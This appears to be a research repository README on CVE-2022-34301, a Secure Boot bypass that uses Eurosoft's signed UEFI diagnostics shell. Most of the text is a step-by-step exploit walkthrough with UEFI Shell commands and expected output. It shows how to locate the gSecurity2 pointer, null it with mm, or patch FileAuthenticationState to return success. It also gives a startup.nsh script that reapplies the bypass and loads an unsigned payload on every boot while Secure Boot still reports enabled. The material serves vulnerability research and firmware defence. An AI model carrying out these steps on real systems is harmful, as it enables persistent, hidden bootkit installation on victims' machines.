
Demonstrates CVE-2022-34301 Secure Boot bypass via Eurosoft signed UEFI Shell (esdiags.efi), using the mm command to nullify gSecurity2 and load unsigned UEFI applications.
Eurosoft Pc-Check UEFI Diagnostics Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Secure Boot bypass via signed UEFI Shell and gSecurity2 corruption.
This repository demonstrates the BYOVUA (Bring Your Own Vulnerable UEFI Application) technique by exploiting CVE-2022-34301, a Secure Boot bypass vulnerability in the Eurosoft Pc-Check UEFI diagnostic environment.
In this case, the component trusted by Secure Boot is esdiags.efi, a UEFI Shell distributed as part of Eurosoft's Pc-Check UEFI hardware diagnostics product, signed by a certificate chain trusted by Microsoft's UEFI Third Party Certificate Authority. Once executed, this shell exposes the mm (memory modify) command and therefore provides arbitrary memory read and write capabilities during the pre-OS boot phase.
This primitive can then be used to locate and nullify the gSecurity2 global pointer in the DXE core. As a result, subsequent UEFI image verification is disabled, allowing unsigned UEFI applications, bootkits, to be loaded despite Secure Boot being enabled.
BYOVUA is the UEFI equivalent of the BYOVD (Bring Your Own Vulnerable Driver) technique used at the kernel level. Instead of bringing a signed kernel driver with a vulnerability, the attacker brings a signed UEFI application - in this case, a full UEFI Shell - that contains functionality capable of undermining Secure Boot.
Because the application is signed with a certificate chain trusted by Secure Boot, it is accepted without question, making it trusted on any system that includes the Microsoft UEFI Third Party Certificate Authority in its Secure Boot database (db) - which is virtually every UEFI-capable PC shipped in the last decade. Once running, its built-in commands provide the attacker with direct hardware and memory access that operates before the operating system loads, in an environment where modern security controls (ASLR, DEP, kernel protections) simply do not exist.
esdiags.efi is a UEFI Shell distributed as part of Eurosoft's Pc-Check UEFI, a pre-boot hardware diagnostics product used by PC manufacturers, service organizations, and IT teams for bare-metal system testing.
| Property | Value |
|---|
| File | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| Vendor | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| Signing | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Discovery | Eclypsium (Mickey Shkatov, Jesse Michael) - August 2022 |
| Presentation | DEF CON 30 - "One Bootloader to Load Them All" |
| Revocation | Added to DBX via Microsoft KB5012170 (August 2022) |
The vulnerability is not a bug - it is a design flaw. UEFI Shells are legitimate diagnostic tools that were never intended to run in Secure Boot environments. However, by signing them with a Microsoft-trusted certificate and distributing them as part of commercial products, the vendors inadvertently created a signed bypass for Secure Boot.
The core issue: a signed binary that is trusted by Secure Boot provides unrestricted memory read/write capabilities through its built-in commands. This combination breaks the entire Secure Boot trust model.
The mm (memory modify) command is a standard UEFI Shell built-in command that provides direct read and write access to system memory. It is documented in the UEFI Shell Specification (Section 5.3).
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parameter | Description |
|---|---|
Address | Target memory address |
Value | Value to write (omit for read-only) |
-w | Width: 1, 2, 4, or 8 bytes |
-MEM | System memory access |
-MMIO | Memory-mapped I/O |
-IO | I/O port access |
-n | Non-interactive (no prompt for next address) |
Secure Boot image verification in UEFI is enforced through the Security Architectural Protocols, defined in the UEFI Platform Initialization (PI) Specification.
The DXE core (DxeMain) maintains a global pointer called gSecurity2, which points to the EFI_SECURITY2_ARCH_PROTOCOL structure. This protocol contains a single function pointer - FileAuthenticationState - which is called by LoadImage() every time a UEFI image is loaded:
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
When LoadImage() is called, the DXE core checks:
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
By setting gSecurity2 = NULL, the if check fails and FileAuthenticationState is never called. Image verification is completely skipped - Secure Boot remains "enabled" but is no longer enforced. Unsigned UEFI applications can then be loaded freely.
For a deep technical understanding of this technique, including a purpose-built UEFI application that automatically locates and patches gSecurity2, see the companion project: Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption.
The structural parallel between UEFI BYOVUA and kernel BYOVD is exact:
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Both attacks exploit the same fundamental flaw: a signed component that is trusted by a security mechanism provides the primitive needed to disable that very mechanism.
The signed esdiags.efi is placed on the EFI System Partition (ESP) and configured as a boot option. Because it is signed with a certificate chain trusted by Secure Boot, the firmware validates and loads it without issue.
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
From the UEFI Shell, the goal is to find the handle that exposes the EFI_SECURITY2_ARCH_PROTOCOL (GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68) and obtain the memory address of its protocol interface.
Note: The
dh -p <GUID>command does not resolve raw GUIDs in most EDK2 Shell builds - it only recognizes registered protocol names. The approach below works on any EDK2 Shell version.
Step 1 - Find the SecurityStubDxe handle
List all handles and look for SecurityStubDxe, which is the DXE driver that installs both Security Architectural Protocols:
Shell> dh
In the output, identify the handle loaded as SecurityStubDxe:
10: Image(SecurityStubDxe)
Step 2 - Inspect adjacent handles
SecurityStubDxe installs the Security protocols on a separate handle, typically the one immediately after it. These handles appear empty in the short listing because the Shell cannot map their GUIDs to friendly names. Inspect them with verbose mode:
Shell> dh -v 11
Expected output:
Handle 11 (3EFCEF18)
A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398)
94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
If handle 0x11 does not contain these GUIDs, try 0x12 - the exact handle number varies between firmware builds.
Step 3 - Record the interface address
The two protocols and their interface addresses are:
| GUID | Protocol | Interface Address |
|---|---|---|
A46423E3-4617-49F1-B9FF-D1BFA9115839 | EFI_SECURITY_ARCH_PROTOCOL (Security1) | 0x3EE8C398 |
94AB2F58-1438-4EF1-9152-18941A3A0E68 | EFI_SECURITY2_ARCH_PROTOCOL (Security2) | 0x3EE8C3A0 |
The Security2 interface address (0x3EE8C3A0 in this example) is the value stored by the gSecurity2 global pointer inside DxeMain. This value is needed for Phase 3.
The gSecurity2 variable is a global pointer inside the DXE core (DxeMain). Its value equals the protocol interface address found in Phase 2. The goal is to find the memory address where this pointer is stored - not the pointer's value, but the variable itself.
Step 1 - Get the DXE core image layout
Shell> dh -v 1
Handle 01 (3F4ECB18)
Image (3FEAFB08) File:DxeCore
ImageBase.....: 3FE94000 - 3FEBB000
ImageSize.....: 27000
Record ImageBase (0x3FE94000).
Step 2 - Parse the PE headers to find the .data section
The .data section contains the initialized global variables, including gSecurity2. Instead of scanning the entire image blindly, parse the PE headers to find the exact .data boundaries.
Read the MZ header to get the PE header offset (DWORD at offset 0x3C):
Shell> dmem <ImageBase> 100
In the output, look at offset 0x3C from ImageBase. For example, if ImageBase is 0x3FE94000:
3FE9403C: C0 00 00 00
This means the PE signature is at offset 0xC0 from ImageBase.
Step 3 - Read the section table
The section table offset is calculated as:
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Read the COFF header to get SizeOfOptionalHeader (WORD at PE_offset + 20):
Shell> dmem <ImageBase + PE_offset> 20
For a PE32+ (x64) UEFI image, SizeOfOptionalHeader is typically 0xF0. In our example:
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Dump the section table (5 sections × 40 bytes = 200 bytes):
Shell> dmem 3FE941C8 140
Each section entry is 40 bytes:
| Offset | Size | Field |
|---|---|---|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Look for the .data section entry. Example output:
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calculate the absolute .data boundaries:
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
Step 4 - Scan .data for the interface pointer
Search for the Security2 interface address in little-endian byte order within the .data range. For an interface address of 0x3EE8C3A0, search for:
A0 C3 E8 3E 00 00 00 00
Scan in 0x200-byte blocks starting from data_start:
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Continue through the .data range until you find the byte sequence. The gSecurity (Security1) and gSecurity2 (Security2) pointers are stored consecutively, so look for both values adjacent to each other:
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Tip: The
.datasection also contains the EFI System Table structures (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). The security pointers are typically located after these structures. If you spot these signatures while scanning, keep going - you are getting close.
Step 5 - Confirm the address
Verify by reading the exact location:
Shell> dmem 3FEB0C08 10
Expected output:
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
The address 0x3FEB0C08 is where gSecurity2 is stored - this is the target for Phase 4.
Once the address of the gSecurity2 variable is known, a single mm command disables Secure Boot verification:
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
Note: The
mmcommand may not accept the0xprefix on the address argument. Use the raw hexadecimal address directly.
Example:
Shell> mm 3FEB0C08 0 -w 8 -MEM
This writes 8 bytes of zeros to the gSecurity2 pointer. The DXE core will now skip all image verification checks in LoadImage().
To verify the patch:
Shell> dmem <gSecurity2_address> 10
The first 8 bytes should read 00 00 00 00 00 00 00 00:
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Note that gSecurity (Security1, second qword) remains intact - only Security2 is nullified, which is sufficient to bypass LoadImage() verification.
With gSecurity2 nullified, any UEFI application can be loaded regardless of its signature status:
Shell> fs1:
fs1:\> MyUnsignedApp.efi
Or using load for drivers:
Shell> load fs1:\MyUnsignedDriver.efi
The operating system has not started yet. Any UEFI application loaded at this point runs with full hardware access, before any OS-level security controls are initialized.
The UEFI Shell automatically executes startup.nsh from the current directory or the ESP root on every launch. By encoding the mm patch in this script, the Secure Boot bypass executes automatically on every boot:
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Example:
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
The system continues to report Secure Boot as "enabled" - only the runtime enforcement is disabled. This makes the attack invisible to OS-level Secure Boot status queries.
Important: The
gSecurity2address (0x3FEB0C08in this example) is specific to the firmware build. If the firmware is updated or recompiled, the address must be recalculated by repeating Phases 2 and 3.
Finding the gSecurity2 address is firmware-specific and must be repeated whenever the firmware is updated or recompiled. The high-level process is:
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v <handle> │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem <addr> 10 │ │ mm <addr> 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
Two approaches are provided:
Approach A - Patch FileAuthenticationState: Overwrites the first 4 bytes of the verification function with xor rax, rax; ret (48 31 C0 C3), making it return EFI_SUCCESS without performing any check. This approach uses dh, dmem, and mm commands to resolve the function pointer through the Security2 protocol interface and does not require searching DxeMain memory.
Approach B - Nullify gSecurity2 pointer: Locates the gSecurity2 global variable inside DxeMain's .data section and writes NULL to it. This is the technique described by Eclypsium in the BombShell disclosure and implemented programmatically in the gSecurity2 Corruption repository. This approach requires parsing the PE headers of DxeMain to find the .data section boundaries, then manually scanning memory with dmem to locate the pointer address.
Both scripts are designed to be followed step by step, with each command explained. Run them interactively first, then once the correct addresses are known for the target firmware, build a startup.nsh for automated execution on every boot.
The signed shell has been added to Microsoft's DBX revocation list via KB5012170 (August 2022). On updated systems, the shell will be rejected by Secure Boot.
For the lab environment, you need a system where:
The QEMU UEFI Research Environment provides an automated setup for this.
The technique is not specific to esdiags.efi. Any UEFI Shell that exposes the mm command and is signed with a trusted certificate (Microsoft CA or OEM-specific) can be used. As documented by Eclypsium's BombShell research (October 2025), signed UEFI shells with dangerous capabilities have been found in multiple vendors' products, including Framework laptops (affecting approximately 200,000 devices).